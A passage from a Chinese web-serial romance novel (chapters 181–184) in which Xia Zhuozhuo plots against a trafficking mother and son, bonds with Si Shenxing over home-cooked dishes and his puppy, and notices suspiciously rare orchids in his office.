杜馨月整个人吓出了一身的冷汗。 她不敢想。 如果不是夏灼灼提醒她,而她也真的去查了,她会经历什么。 真嫁给江泽,她会万劫不复。 夏灼灼却拿起了筷子。 “事情说完了,吃饭吧。” 杜馨月拧眉看着她。 “都这个时候了,你还有心情吃饭?” 夏灼灼一耸肩,说:“刚才是谁说不至于吃不下饭的?” 杜馨月一噎。 夏灼灼继续说:“吃饭皇帝大,先吃吧,吃完了,我告诉你怎么对付他们。” 杜馨月眼睛一亮,果然拿起了筷子。 吃了几口,杜馨月问:“喂,你说,我们现在算朋友还是敌人?” 夏灼灼道:“不知道,反正我的朋友不会叫我‘喂’。” 杜馨月脸色一黑。 “我发现你这个人真是一点亏都不吃。” 夏灼灼一勾唇,说:“你不也是?明明是救你爷爷的药,非得跟我抢。谁买不是买?” 旧事重提,是想彻底化解那天的矛盾。 杜馨月也明白。 她撇撇嘴,说:“我不知道你也是为我爷爷买的,如果知道,我指定拿八抬大轿抬你去。” 又话音一转,说:“不过你那天可真够拽的,你知道你有多欠揍吗?” 夏灼灼耸肩。 杜馨月叹了口气,说:“我之前还想弄死你来着,结果现在你成我恩人了。这算什么事儿?” “好事。多个朋友总比多个敌人好。” “你不是说我不是你朋友吗?你的朋友不会叫你‘喂’。” “……你这人也是一点亏都不吃。” 两个人突然对视一眼,都笑了。 就在这时,守在门外的保镖进来了。 “大小姐,有人叫服务生送过来几样菜……” 保镖说着,举高了手里的托盘。 上面都是中式的菜,看着都是北方菜。 夏灼灼心生警惕。 “说了是谁送过来的吗?” “没说,就说是后面包厢的一位先生。” 夏灼灼道:“来路不明的东西我们不要,你叫那个服务生送回去吧。” 保镖看向杜馨月。 杜馨月也随之点头,保镖便又拿着托盘出去了。 杜馨月看她一眼,道:“要不要去看看是谁送的?” “多一事不如少一事,没什么好看的。” “你这人真是一点好奇心都没有。” “好奇害死猫,这句话你没听说过吗?” 杜馨月下意识想反驳,但又觉得夏灼灼言之有理,硬生生把话咽了回去。 她放下筷子,说:“我吃不下,你直接说吧,我要怎么做,才能报仇。” 夏灼灼也吃不下。 她不喜欢吃这些生的东西。 本来就不爱吃海鲜,还被宁穗香逼着喝了很多海鲜粥,她现在看到鱼类、贝类的,就反胃。 “很简单。”她说:“他们想要什么,你就让他们失去什么。” “你的意思是,只是让我跟他分手?” “没错。” “这惩罚会不会太轻了点?” “这是你要做的,等你跟他分了手,其他事情就交给我来。” “你要做什么?” “这你就不用知道了。” 杜馨月微一沉默,问:“你会让他们死吗?” 夏灼灼看她一眼。 “怎么?你舍不得?” “怎么可能!我的人已经查过,江泽整个村子的人都是人贩子,人贩子死不足惜!我只是好奇,你要怎么弄死他们?” “好奇会害死猫的。” “我说你这人……” 可就在这时,门外再次传来说话声。 “先生,你不能进去……” “别误会,自己人。” 外面吵吵嚷嚷,里面的两个人也吃不下去了。 杜馨月开口道:“谁在外面?带进来!” 门在这时候被拉开。 出现的人却让两个人都面露惊讶。 第181章 你跟踪我? 来人染着一头银发,耳骨上戴着两枚钻石耳钉,一身的朋克装扮。 夏灼灼用了两秒时间才认出这人。 是司享娱乐的许星耀。 上次夏怀乐拍摄公益广告,就是他出的坏主意,让夏怀乐扮女装。 也是因为他的名字,夏灼灼才让自己手里的娱乐公司由星耀娱乐,改名为炎享娱乐。 因为觉得晦气。 夏灼灼看一眼杜馨月,见杜馨月也是惊讶了一瞬之后,就露出厌恶的表情,心里微微放松。 而许星耀也认出了夏灼灼,脸上的表情阴晴不定。 “你怎么知道我在这里?你跟踪我?”杜馨月冷冷开口。 “不不……” 许星耀回过神来,也顾不上夏灼灼了,忙解释道:“我也是来吃饭的,只是进门的时候,正好看到您的车停在外面,所以我才问了服务生您在哪个包厢……” 杜馨月很不耐烦。 “我在招待我朋友,有什么事,之后再说。” 许星耀哪里肯? 他好不容易跟踪杜馨月到这里的。 “杜小姐,请您考虑一下,我真是诚心诚意要加入……” 杜馨月直接打断他,对保镖说。 “你们是死的吗?把他给我丢出去!” “是!大小姐!” 很快许星耀就被拖出去了。 夏灼灼正要问怎么回事,杜馨月自己就开口了。 “这人脑子有问题。明明是司享的当红艺人,这段时间却非要我帮忙卖人情给炎享,想跳槽到炎享去。” 夏灼灼眼皮轻轻跳了下。 她问:“你认识炎享的人?” “炎享一个高层,是我闺蜜。” 又说:“他消息倒是灵通。就是我觉得他这人吧……不太正。没敢给他介绍,怕给我闺蜜惹麻烦。” 夏灼灼沉默一阵,说:“那你能不能卖我一个人情,把他介绍到炎享去?” 杜馨月错愕看她一眼。 “你认识许星耀?” 夏灼灼道:“我哥以前跟他是同事,也是司享的,现在也去了炎享。” “我想起来了,叫夏怀乐对吧?他最近挺火的,就是目前还只是空有流量,没有一部代表作。如果有个好作品,那他就能成为新一任顶流。” 夏灼灼道谢,又说:“你帮我把他介绍到炎享去。” “你……到底几个意思?” 夏灼灼也不藏着掖着,直接说:“他跟我哥有仇,去炎享,应该是有人在背后指点,想要借他对付我哥。” “那你还让他如愿?” “我这人,其实不擅长布局,但擅长破局。先看他打算怎么做,再一一破解。” “我搞不懂你。不过你既然诚心诚意求我了,那我就大发慈悲帮你吧。” 夏灼灼笑着点头:“那我先谢谢你了。” 这件事说定后,两个人重又拿起筷子。 偏偏今天像是出门没看黄历,外面又有人敲门。 “大小姐,有人找夏小姐……” 杜馨月正要说话,外面传来夏灼灼熟悉的声音。 “夏小姐,是我,阿麦。” 杜馨月看一眼她,见夏灼灼点头,便开口:“请他进来。” 门再次被拉开。 让夏灼灼意外的是,阿麦不是空手来的,手里端着个托盘。 正是一开始的时候,杜馨月的保镖说有人送过来北方菜的那个托盘。 只是现在托盘上又换了菜。 这次是南方菜了。 “阿麦,你这是……?” 阿麦先跟两人打过了招呼,这才开口:“今天正巧我们少爷也在这里有饭局,他吃不惯日料,所以叫我另外准备了中式的菜。少爷想起来您今天也在这里,就让我也送一份过来。” 顿了下,又问夏灼灼:“刚才送过来几样菜是不合您的胃口吗?” 夏灼灼摇头,有些尴尬地说:“我不知道是谁送过来的,之前还出过白念城送酒的事。所以出于小心,就让他们拒绝了。” “原来如此,那这几样菜,我就放在这儿了?” 夏灼灼点头。 “谢谢你了,阿麦。” 阿麦不敢领功劳,说:“我只是听少爷的吩咐。” “那你替我也谢谢他。” 阿麦这回笑了。 “是,夏小姐。那我不打扰二位了,告辞。” 两人目送阿麦离开。 门一关上,杜馨月就尝了一口阿麦带过来的菜。 “哟,四季阁的菜。够舍得下血本的。” 夏灼灼笑道:“四季阁的菜是挺贵的。” “不是菜的价格的问题。” “那是什么?” 杜馨月意味深长地说:“你想想,四季阁离这里多远?现在菜送过来居然还是热的。不是直接把四季阁的厨师请过来了,就是路上花了很多心思保存菜品。” 夏灼灼噎了下,也反应过来了。 四季阁在机场附近,距离市中心有一个半小时的车程。 而菜显然不是重新热一遍的。 热一遍的菜,不是这个颜色。 杜馨月轻轻一笑,说:“我可不信某些人真的只是为了合自己的口味,否则他不喜欢吃日料,大可以不来这里吃。” 夏灼灼夹了一个小鸡腿塞到杜馨月的嘴里。 “吃还堵不上你的嘴?” 杜馨月哼哼笑着吃了。 两个人吃完后,又商量了一下细节。 比如,如何跟江泽分手,才能更加刺激他们母子。 他们必须得“发疯”,夏灼灼才能顺利进行下一步动作。 夏灼灼道:“到时候,你可能会有一点危险。不过你放心,我一定会保证你的安全。” 杜馨月点头。 分别时,杜馨月犹豫了一番,开口道:“夏灼灼,既然我们已经是朋友了,那我好心提醒你一句,你要小心我哥。” 夏灼灼有些意外,但随即笑起来。 “看来我这个新朋友,在你心里分量比你亲哥还重。” 杜馨月翻了个白眼。 “如果可以,我真希望他不是我哥。” “怎么说?” “没什么,家家都有本难念的经,我走了,你也早点回去吧。” 夏灼灼自己开车来的,所以杜馨月没提出送她。 夏灼灼点头,目送杜馨月的车子离开后,便去到她停车的地方。 结果车后面停了辆商务车,左右也都有车,把她的车子给堵死了。 夏灼灼只能打电话移车。 好在对方的车子里放了联系号码。 她按照上面显示的拨通号码,可手机铃声却在她身后响起。 她吓了一跳,快速转过身,正好对上司慎行那双格外深邃的黑眸。 夏灼灼吓一跳的心慢慢平静下来。 “你送过来的菜很好吃。谢谢。” 司慎行走上前两步,突然握住她的手。 夏灼灼错愕了一下,下意识要收回自己的手。 司慎行在这时候开口:“菜是我做的,你看看,就是用这双手做的。切菜的时候不小心,还切出了一道口子。很疼,你帮我看看,会不会感染?” 夏灼灼很意外。 除了意外那几道菜是司慎行自己做的之外,也意外他的手因为做菜受了伤。 低头一看,更意外了。 是一道很浅很浅的口子。 因为已经快愈合了,不认真看,几乎找不出来哪里受了伤。 夏灼灼慢慢抬头,再次对上司慎行的眼睛。 “我觉得……你脸皮好像比之前更厚了。” 司慎行招摇一笑。 “脸皮厚点,才能娶到媳妇。” 夏灼灼不接他这话,从他宽大的手掌里把自己的手抽回来。 司慎行却更凑近一点,说:“你不帮我治疗一下我的手吗?” “放心,你这伤口再晚点治疗,自己都要好了,不会感染。” 司慎行巴巴地笑着,说:“你吃没吃出来,这菜是我做的?” 夏灼灼摇头。 “我还真没吃出来,味道跟四季阁的一模一样。” 司慎行说:“我就是找他们厨师学的。” “季恒跟你关系真挺好的,都同意你跟厨师学手艺。一点也不怕你偷师。” “他知道我懒得赚这点小钱,只是为了讨好你学的,还有什么好怕的?” “……” 中午的阳光很好,夏灼灼的心也被照的暖洋洋的。 “好吃吗?”司慎行问。 夏灼灼点头,脸有点发热。 但她不是个擅长表现害羞的人,哪怕脸要烧起来了,面上却依旧是一副面无表情的样子。 甚至岔开话题。 “这车是你的?人既然到了,现在可以开走了吧?” 司慎行说:“我过来的路上,车钥匙不小心掉锦鲤池里了,开不走。不过我可以开阿麦那辆,送你回去。” “你脸皮真的越来越厚了。” “其实是我把狗训的很好,想让你来看看。验收一下。” “才不到一周时间,能训出什么?” “你看了就知道。” 夏灼灼今天也没别的事情,加上看在那几道菜的份上,她同意了。 然后就看到司慎行拿出了所谓掉在了锦鲤池里的车钥匙,替她拉开副驾驶的车门。 “请上车吧,七小姐。” 夏灼灼一脸无语。 撒谎也不知道避着点。 但她还是上车了。 “我的车怎么办?”她问。 司慎行打了个电话。 阿麦很快过来,接过了夏灼灼的车钥匙。 “我会替您开回家里的。” 夏灼灼点头,车子便开上马路。 路上,司慎行也不光是插科打诨,还说了点正事。 “这几天,或者说,这两周以来,每天都有个老太太守在公司门口。我查了她,发现这个人跟你有点关系,你猜猜看,是谁。” 第182章 疼不疼? 夏灼灼几乎是不假思索地说出了一个名字。 “柳月茹?” 司慎行微微怔愣,随即笑了下。 “你是神算子吗?” 夏灼灼摇头。 她只是今天正好跟杜馨月聊的就是柳月茹、江泽母子。 加上司慎行说有个老太太守在公司门口,她就先入为主地代入柳月茹了。 柳月茹虽然年纪只比宁穗香大五六岁,但因为常年劳作,加上相由心生,她人很刻薄,一点小事都要反复在肚子里咀嚼。 所以乍一看,就像是个老太太。 “你有把她抓起来吗?”夏灼灼问。 司慎行道:“还没有,今天她还想跟我的车,但是她骑着个电动车,没跟上我。” 夏灼灼思索一阵,说:“她不是想盯着你,是为了盯着我。江泽还不知道我就是夏家的七小姐,但是他跟我在你公司大厅碰过面,他知道我跟你认识,但不知道我们具体的关系。你先不要管她,就当没注意到她这个人。” 司慎行却陷入了沉默。 夏灼灼问:“怎么了?” “那个江泽……你对他有感情吗?” 因为去查了柳月茹,所以他就知道了夏灼灼曾经是江泽家的童养媳。 夏灼灼愕然。 她真没想到司慎行沉默半天,问的竟然只是这个。 难不成,他其实是个恋爱脑? 但恋爱脑三个字,跟司慎行好像完全不搭边? 夏灼灼很无奈地说:“我十几岁离开江家,那个时候我还没有男女意识。跟江泽也是今年才再次见面,哪来的感情?” 她厌恶他还来不及。 “我查到的资料显示,他长得还不错。” ——这倒是实话。 江泽这人最大的优点,就是皮相不错。 柳月茹长得一般,不过夏灼灼记得,柳月茹她老公长得很清秀,只不过死的很早。 夏灼灼笑了下,说:“之前长得是挺人模狗样的,不过你是没见过他现在的样子。” “现在很丑?” “你要是见了他,就不会只用丑字评价。” 顿了顿,她补充道:“我用药,毁了他的脸。” 司慎行的眼睛骤然亮起来。 “那就好。” 夏灼灼无奈摇头。 “你这样的人,竟然会把江泽当做威胁?” “跟你有关系的男的,我都视作威胁。” “……” 司慎行又问:“那你打算怎么办?” “我今天见杜馨月,就是商量要怎么对付他们母子。” 司慎行点点头,随即主动解释:“我不是故意要查你跟江泽的关系,是查柳月茹的时候,意外知道的。” 夏灼灼说:“我知道。” 心里却惊讶,他竟然还真听她的,没有查她。 心底莫名一暖。 她别开眼,看向车窗外说:“你还记得我很怕狗吗?” 司慎行道:“记得,那天我把‘将军’抱来你家,你吓了一跳,我就抱回去了。” 夏灼灼便解释起,自己为什么会怕狗。 司慎行的黑眸骤然变得沉郁冷厉。 “姓江的,该死!” 又问她:“疼不疼?” 夏灼灼有点想笑。 “都多少年过去了?怎么可能还疼?又不是被咬掉了一条腿。” 司慎行沉默一秒,说:“我问的是,当时疼不疼。” 夏灼灼的鼻尖突然有点泛酸。 喉头随之上下滚动了下。 那个时候她被那条黑狗咬了,没人问她疼不疼…… 柳月茹知道了,也只是说:“还好没咬断一条腿,要是残废了,我可就白养你了。” 而现在,司慎行隔了那么多年时光,问她,疼不疼。 说不上是什么心情,就是……有点想哭。 她佯装不经意,揉了下眼睛。 “灼灼……”司慎行又说:“在我面前,你可以想哭就哭,想笑就笑的。” 夏灼灼却还是用力把眼泪逼回去。 她说:“他们母子都该死。他们整个村的人,都是人贩子。就算不是人贩子的,也都是帮凶。村里有不少女人,都是被他们从外面拐过来的。” “需要我帮忙把他们救出来吗?” 夏灼灼说:“他们村人口不少,派人去,我们会吃亏。也不一定能全部抓到。所以……我想借着这一次,让官方介入。” 解救她们的想法,夏灼灼早就有。 但因为暗部情况特殊,村子的人口又多。 如果派暗部多人一起出动,反而会让官方找到借口把他们一起剿灭。 但如果是官方自己出手,那么暗部就可以美美隐身。 司慎行道:“都听你的,需要我帮忙的,你随时开口。我们之间用不着客气。” 夏灼灼扯唇微笑。 “好。” 这次,的确是需要司慎行帮忙。 夏灼灼突然开口:“司慎行,我手里……沾了不少血。如果我这次能救下他们,以后下地狱,应该会减少一点罪孽吧?” 司慎行紧紧拧眉。 “灼灼,你不会下地狱的。如果真要下地狱,我替你下。” 夏灼灼慢慢收拢手心,但很快又松开。 “好,那就说好了,如果我以后真下地狱了,你替我下。” “好。” 两人相视一笑,彼此的眼中,都有更多的东西在生根发芽。 很快到了枫林晚。 司慎行叫了专人喂养将军。 将军不吃狗粮,只吃肉。 吃的还是生牛肉。 所以仅仅是不到半个月时间,就比之前大了一倍,不再是之前那个小奶狗的模样,四条腿都长了不少。 毛发也很亮顺,在日光的照耀下,绽放出金色的光泽。 司慎行说:“早知道你发生过那样的事,我不该买金毛,应该买条比特犬。比特犬咬住人不会松口,除非被打死。” 夏灼灼看他一眼。 “你不是说捡的?怎么成买的了?” 司慎行一摊手。 “完了,说漏嘴了。” 眼底却一点都没有惊慌。 夏灼灼无奈摇头。 这个人……有时候真像个泼猴,拿他简直没有办法。 “你要不要摸摸它?”司慎行拎起将军的后颈肉,将军的四只脚就都翘了起来,一动不动,露出它圆滚滚的粉色肚皮。 夏灼灼的手指动了动,但小时候的阴影还是让她摇头了。 “算了,等它再长大一点吧。” 司慎行也不坚持,说:“那就来验收最近的训练成果。” 他说着,把将军放下。 “将军!握手!” 小狗果然抬起了它的爪子。 小小的、毛茸茸的爪子放到司慎行宽大而粗糙的掌心里,夏灼灼有一种被萌到的感觉。 也是第一次,对狗,除了害怕之外,产生了别的情绪。 司慎行又下指令。 “将军,转圈!” 小狗慢慢开始转圈,可在目光对上夏灼灼探究的目光后,突然狗眼一亮,屁颠屁颠朝夏灼灼走过来。 司慎行吓了一跳,怕它吓到夏灼灼,连忙去抓小狗的尾巴。 但小狗跟条泥鳅似的,尾巴在司慎行掌心里滑过,狗头已经凑到了夏灼灼的脚边。 司慎行大骇,忙朝夏灼灼走过来。 “没事……” 夏灼灼开口。 虽然身子有些僵硬,但还是大着胆子伸出了手。 没有摸到狗头。 因为小狗扬起了脑袋,在她的手心里舔舐。 夏灼灼只感觉掌心一片温热的触感,浑身像是被定住,更僵硬了。 司慎行紧张地问她:“你没事吧?” 夏灼灼摇头。 “我好像不怎么怕狗了。” 司慎行稍稍松了口气。 看一眼小狗,说:“将军好像很喜欢你。” 夏灼灼又看一眼小狗。 小狗的眼睛湿漉漉的,看起来纯净地像一汪清泉。 她在心里鼓励了自己一句,又伸出手去。 这次她终于摸到小狗的狗头了。 毛茸茸的,像玩偶,又比玩偶更柔软一些。 她形容不出来具体的触感,但是心底的某一块好像也跟着柔软起来。 小狗似乎很享受她的抚摸,高兴地晃起尾巴。 “你也不用太着急,循序渐进,等下一次,你再试着抱抱它。”司慎行说。 夏灼灼没有拒绝。 她心里对狗的阴影,已经扫去了大半。 又待了半个小时,夏灼灼要回去了。 “我送你。” 夏灼灼点头。 路上,司慎行突然说:“真羡慕将军。” 夏灼灼看一眼他。 “S集团的掌权人,羡慕一条狗?你在凡尔赛吗?” “凡尔赛是什么?我只知道凡尔赛宫。” “……你偶尔也可以上一上网,不然会像个老大爷。” 司慎行说:“好。” 又问她:“知道我为什么羡慕它吗?” 夏灼灼直觉不是什么好话,直接摇头:“不知道,不想知道。” 司慎行却不管不顾地开口。 “我羡慕它,是因为你可以为了靠近它,鼓起勇气,克服心里恐惧。但你对我,还没有鼓起勇气。” “……” “不过没关系,我不着急,循序渐进,等下一次,你可以试着摸摸我的头,我的头发也很软的。” “……” 车子很快开到了夏家。 司慎行还有别的事情要去处理,也就没有故意在路上耽搁。 下车的时候,夏灼灼没立刻关门,而是抓着车门,问:“司慎行,你喜欢吃什么菜?” 司慎行一愣,眼底有欣喜。 “你要给我做菜?” “你回答我的问题就行了。” “只要你做的,我都喜欢吃。” “说正经的。你不说,我就不做了。” 司慎行忙说:“我喜欢吃辣的。但不要特别辣,一点点辣最好。” 夏灼灼点头。 “好,我知道了。” “什么时候做给我吃?” 夏灼灼却没回答了,直接关上了车门,往家门走去。 第183章 满是心意的礼物 夏灼灼回到了家。 正好夏怀乐正在陪夏怀征做复健。 夏灼灼的鬼门十三针虽然厉害,但是也没神乎其技到立刻就能让夏怀征开始跑起来。 他走得仍然很艰难。 时不时还会被绊倒,所以现在还需要人看着。 夏灼灼跟两人打了个招呼,随后问夏怀乐:“三哥,你今天怎么在家?没通告吗?” 这阵子,夏怀乐的通告排的很满。 他的电影还没开拍,这阵子都在跑综艺。 公司的安排是,在电影出来之前,先维持曝光度,所以夏怀乐每天都很忙。 只听夏怀乐道:“公司让我劳逸结合,安排我今天休息一天。” 夏灼灼点头。 “对了。”夏怀乐一拍脑袋,让夏怀征先坐下,随后匆匆跑上了楼。 夏灼灼满脸疑惑。 “三哥干嘛去?” 夏怀征同样疑惑。 “不知道。” 很快真相揭露。 夏怀乐拿了个牛皮纸袋,在夏灼灼面前献宝似的递过来。 “小七,你看看,给你的。” 夏灼灼接过来,打开看了一眼,眼底有明显的意外,随即鼻尖泛酸,眼角出现了一点红。 里面是满满一沓的签名照。 各个明星的都有。 还是to签。 前面写着:送给夏怀乐最疼爱的小七妹。 “三哥……”夏灼灼张了张嘴,却不知道该说什么。 夏怀乐嘿嘿地笑着,说:“你喜欢吗?” 夏灼灼点头:“……喜欢。” 夏怀乐一副很高兴的样子。 “你喜欢就好。我之前不红,认识的明星很少,所以能给你要的签名照也很少。现在我有一点名气了,一起合作的明星也多了,就拜托他们都给你签了名字。你就等着吧,我包管帮你搜罗齐整个娱乐圈的明星的签名。” 夏灼灼点头。 她不追星。 之前之所以说自己追星,只是一个借口。 夏怀乐当真了,也一直牢牢记着她追星的事。 这些事,看起来微不足道。 但夏怀乐现在正值上升期,逢人就要to签,对他来说其实有害无益。 别人会因此轻视他几分。 他到现在也还不知道,他能去炎享,能有现在的进步,都是夏灼灼在后面推波助澜。 但他仍愿意主动为她做这些事。 所以收到这样满是心意的礼物,夏灼灼的心柔软了一大片。 她对家里人的付出,从来都不是单方面的。 他们也在用自己力所能及的力量,最大限度地回报她。 “家人”两个字,在这一刻有了最清晰的具象化。 “谢谢你,三哥。”夏灼灼说。 “这有什么可谢的?快来,我们一起帮大哥做复健。你不知道,你回来之前,大哥已经能从客厅,走到外面的大门了。” 这是很大的进步。 夏灼灼用力点头:“嗯!” 转眼到了第二天。 夏灼灼让许姨陪着她去了一趟家附近的生鲜超市。 跟上次带上许姨只买了一瓶水不同,夏灼灼这次买了满满两大袋食材。 一部分用来给家里人做午饭,另一部分,用来给司慎行做菜。 到家后,才是上午九点多。 夏灼灼先发消息给司慎行,问他午饭什么安排。 司慎行几乎是秒回。 “没有安排,不知道我有没有这个荣幸,请夏七小姐吃午餐?” 夏灼灼很快回复:“你没有安排的话,我做饭给你送过来?” 司慎行那边好几秒才回复了一个字:“好。” 不是故意慢回,是太惊喜了,反而不知道该回什么。 夏灼灼又发过去一条消息:“需要你亲自下来接我。最好在大门外等我。” 司慎行那边的欣喜散去了一点点。 理智回笼,他直接打电话给夏灼灼。 “你要对付江家人了?” “嗯。” “那你这算不算利用我?” “……如果你觉得很麻烦,那就算了。” “不麻烦,很凑巧,我这个人,最喜欢被人利用。最好你每天都能利用我,我每天都在门口迎接您的大驾。” “……我十一点三十到。” “好。” 得到肯定的答复后,夏灼灼便挂断了电话。 就在这时,许姨从厨房那边走过来。 “七小姐,食材都洗干净准备好了。” 话音刚落,她顿了下,吃惊地问:“七小姐,你发烧了吗?怎么脸这么红?” 说着就要去拿体温计。 夏灼灼有点尴尬。 她连忙拉住许姨,说:“是今天太热了,我去换身衣服就好。” 许姨说:“别,别看白天温度高,晚上很快又掉下来。秋老虎可厉害了,还是别换衣服了。” 夏灼灼点头。 “食材都准备好了,那我们开始吧。” 虽然时间还早,但她做的菜很麻烦,需要很多时间。 先做的是凉拌菜。 一道酸辣苦瓜丝。 上次她去了四季阁吃饭,觉得这道菜爽口又下火,所以今天打算自己做着试试。 过了约莫有一个小时时间,她来到外面,给杜馨月打去了一个电话。 打完电话,她又回到厨房忙碌。 到十一点的时候,菜已经做得差不多了。 夏灼灼用超市买的保温碗装了一小部分,其他菜都上桌。 她只稍微吃了几口,就提着保温碗出门去了。 夏太太知道她做的很多事情都很重要,因而也没强留她多吃点。 十一点二十五分,夏灼灼开着家里最贵的一辆车来到S集团大门口。 今天她穿的不像平时一样低调,一身的名牌,戴一副昂贵的墨镜,俨然一个千金大小姐。 刚推开车门下车,就引起不少路过的人的注意。 夏灼灼墨镜后的眼睛快速扫视了周围一圈,很快看到一个不起眼的角落里,站了一个穿灰色衣服的妇女。 那妇女也被她吸引了注意,朝她好奇地看过来。 夏灼灼在这时收回了视线,摘下了脸上的墨镜。 虽然不再看那边,但余光却清楚地看到,妇女的脸上,露出了近乎石化的表情。 夏灼灼的红唇几不可闻地勾了下。 她摸出手机,正要给司慎行打电话,就看到司慎行带着一帮保镖从里面走出来。 她一靠近,保镖们就齐齐跟她打招呼:“七小姐好!” 场面十分隆重。 夏灼灼看了司慎行一眼,低声说:“阵仗会不会太大了?” “不大点,怎么对得起你的安排?”司慎行理所当然地说。 “你猜到我要做什么了?” “大概吧。” 两人说话间,脸上都是笑容。 其他人看着就觉得他们很亲密,熟稔。 角落里的妇人目不转睛地盯着他们看。 正好有两个买了咖啡往办公楼里走的人,从妇人身边路过。 也一边打量夏灼灼那边,一边聊闲话。 “那个不是夏家七小姐吗?她长得可真漂亮。” “夏家七小姐?哪个夏家?” 妇人立刻竖直了耳朵听着。 “沪城还有哪个夏家?前任首富夏云海家啊。她就是夏家前不久刚从乡下找回来的流落在外的亲生女儿。” “那真是可惜了,夏家已经破产了。前不久还传出来,他们家现在只能住狗窝。” “你哪里听来的谣言?你看看她那一身的行头,起码值郊区一套房。” “不是破产了吗?怎么还有这么多钱?” “你的消息真是一点都不灵通。夏家虽然破产了,但他们家跟咱们老大有过婚约,老大对她也挺上心的,没看到她一过来,老大就带人下来亲自迎接吗?老大这个人,但凡对这七小姐没有感情,是不可能会下来接她的。” “也是,那她的命还挺好的。虽然回来认亲,家里就破产了,但是得了个这么有钱有势的未婚夫,以后还是会飞上枝头的。” “只能说,凤凰蛋就算掉到山里,破壳出来的也还是凤凰。” 两个人说着,渐行渐远了。 妇人不是别人,正是柳月茹。 她的表情变了又变,一双浑浊的眼睛淬满了怨毒和懊悔。 夏灼灼…… 她竟然是沪城首富的女儿! 早知如此,当初她还不如不养她,直接说自己捡到了人,送回夏家去。 夏家当时还没破产,一定会厚谢她的。 又或者,好好把夏灼灼养大,让她早点跟自己的儿子生米煮成熟饭,再趁着夏家破产之前,从夏家拿一笔嫁妆钱,然后再让儿子跟夏灼灼离了,再娶杜馨月。 可现在,她什么都没捞到! 柳月茹再看一眼那站在一起的,如同一对璧人模样的夏灼灼和司慎行,总觉得格外刺眼。 像有什么刀子在往她眼窝子里戳。 柳月茹再看不下去,扭头叫了辆出租车,急急忙忙打车回去了。 她得把这个消息,告诉她儿子才行! 夏灼灼那边。 她的余光瞥见柳月茹坐车走了,脸上故意堆出来的灿烂的笑就松懈下来。 而刚才那两个在柳月茹面前“聊天”的人也走过来了。 一个是秋雨,另一个是谷仔。 两个人打扮成白领模样,夏灼灼乍一眼看过去都没认出来。 “你们两个……” “好看吗?”秋雨转了一圈,说:“我还是第一次穿职业装。” 夏灼灼点头:“好看。” 谷仔也学着秋雨转了一圈,问夏灼灼:“我帅吗?” 夏灼灼摇头:“不帅。” 泡面头搭配职业西装,真有些……怪异。 谷仔露出委屈的表情。 “老大,你偏心!” 夏灼灼无奈一笑,对司慎行介绍:“这是我两个手下。小雨,谷仔。” 司慎行的目光落在他们脸上,刚要点头打招呼,落在谷仔脸上的视线突然一凝。 第184章 名贵兰花的古怪 如果不是谷仔留了一个夸张的泡面头,两个人的气质也截然不同,司慎行都要怀疑,这是阿麦了。 他错愕看一眼夏灼灼,却见夏灼灼表情平静,便把疑惑压了下去。 “难得见你引荐自己的手下给我认识,不如一起吃顿饭?我请客。”司慎行说。 夏灼灼道:“我还有别的安排给他们,改天吧。” “那我们两个去吃?” 没有电灯泡,他更高兴。 夏灼灼道:“我今天给你带了饭的,就在车上。” “那就不出去吃,去我办公室吃。” 夏灼灼没拒绝。 “利用”完了人家,总得有所表示。 哪怕这个人说喜欢被利用,但亲兄弟还要明算账呢。 秋雨和谷仔很快走了。 夏灼灼跟着司慎行去了他的办公室。 跟上次不同,司慎行的办公室里这次多了很多绿植。 都是一些名贵的兰花。 夏灼灼指着其中两盆。 “这盆花的价格都能买一辆小轿车了。” 司慎行也有点吃惊。 “就这盆草?” “这不是草,是鬼兰,濒危物种,很稀有。” “是么?”司慎行收了收吃惊的表情,说:“那送给你了!放在我这儿,它只是一盆草,放在你那才是鬼兰。” 夏灼灼摇头。 “算了,要是养死了,我的罪过就大了。” “死了就死了呗,一盆草而已。” “是兰花……” “管他什么花,反正我也不是买的,是别人送的。” “谁送的?这么大手笔?” 一办公室的珍稀兰花,少说值小几百万。 司慎行正在一个一个把保温食盒打开。 里面聆郎满目的菜让他食指大动。 司慎行对花花草草没什么兴趣,只答了一句:“季恒送的。” 夏灼灼又问:“季恒哪来的这些兰花?” 司慎行看她一眼,脸色也严肃了一分,没着急动筷子,而是问:“你今天怎么一直在问这些草……兰花草。” 夏灼灼道:“我刚才跟你说的那盆鬼兰,它是濒危物种。包括这几盆兰花,还有那边的,都是濒危物种。” “你已经说过了。” “那你知道濒危物种的意思吗?私人可以买个一两盆,但不能放这么多。尤其不能是野生的。否则一旦遇上官方严查,那就说不清楚了。” 司慎行蹙眉,懂她的意思了。 “等我吃完饭,我问问他哪来的。” “你当时没问?” “我以为就是几盆草,就觉得没什么好问的。” “……你仔细问问吧,如果来路不正,早点上交官方。” “好。” 夏灼灼的表情这才松懈一些,说:“你快吃吧,一会儿凉了。” 司慎行这才重新开始动筷子。 今天的菜色不只是中餐,还有泰菜。 尤其一道香茅鸡块,很合司慎行的口味。 他问过夏灼灼已经吃过了之后,就开始大快朵颐。 几个大食盒被扫荡一空,除了香茅这类的配料,别的都没剩下。 “你胃口真大……”夏灼灼瞠目结舌。 “你放心,我们结婚以后,雇个厨师,不用你下厨。” “谁说要跟你结婚了?” “以后的事情谁也说不定。” “……”夏灼灼不跟他继续这个话题,因为每次提到这种话题,夏灼灼都会在嘴皮子上吃亏。 她直接说:“那你工作吧,我去忙了。” “需要我帮忙吗?” “暂时不用,你先解决好季恒的事情,我怀疑……可能有问题。” 司慎行说:“季恒不会害我。” “难保他也是掉入了陷阱。” 司慎行正色道:“放心,我一定弄清楚。” 夏灼灼点点头。 “你现在就打给他问问吧,我自己下楼就行。上来太高调,我不喜欢。” 司慎行没坚持点头应“好”。 夏灼灼出门的时候,正好碰到在外面刚忙完事的阿麦。 看到夏灼灼,阿麦脸上堆满了善意的笑。 “夏小姐,什么时候来的?” “半个小时前。”夏灼灼一边说话,一边打量阿麦的脸。 今天她安排谷仔出面,其实也是为了让他见一下阿麦。 两个人长得太像,她不得不多想。 哪怕谷仔说他哥哥已经死了。 只是很不巧,谷仔在的时候,阿麦不在。 夏灼灼不想让两个人见面见得太明显,万一真是她弄错了……会徒增谷仔的伤心和尴尬。 尤其她弄错是很大概率的事情,所以她只想让他们“偶遇”。 阿麦只觉得夏灼灼今天多看了他两眼。 他伸手摸摸自己的脸。 “夏小姐,我脸上有什么脏东西吗?” “没有,我是在想,你跟司慎行关系很好,是认识很多年了吗?” 阿麦点头:“我很小的时候就跟着少爷做事了。” “很小的时候?多久的事?” “我也记不太清楚了,反正当时只有十几岁。” 十几岁! 时间是对上了。 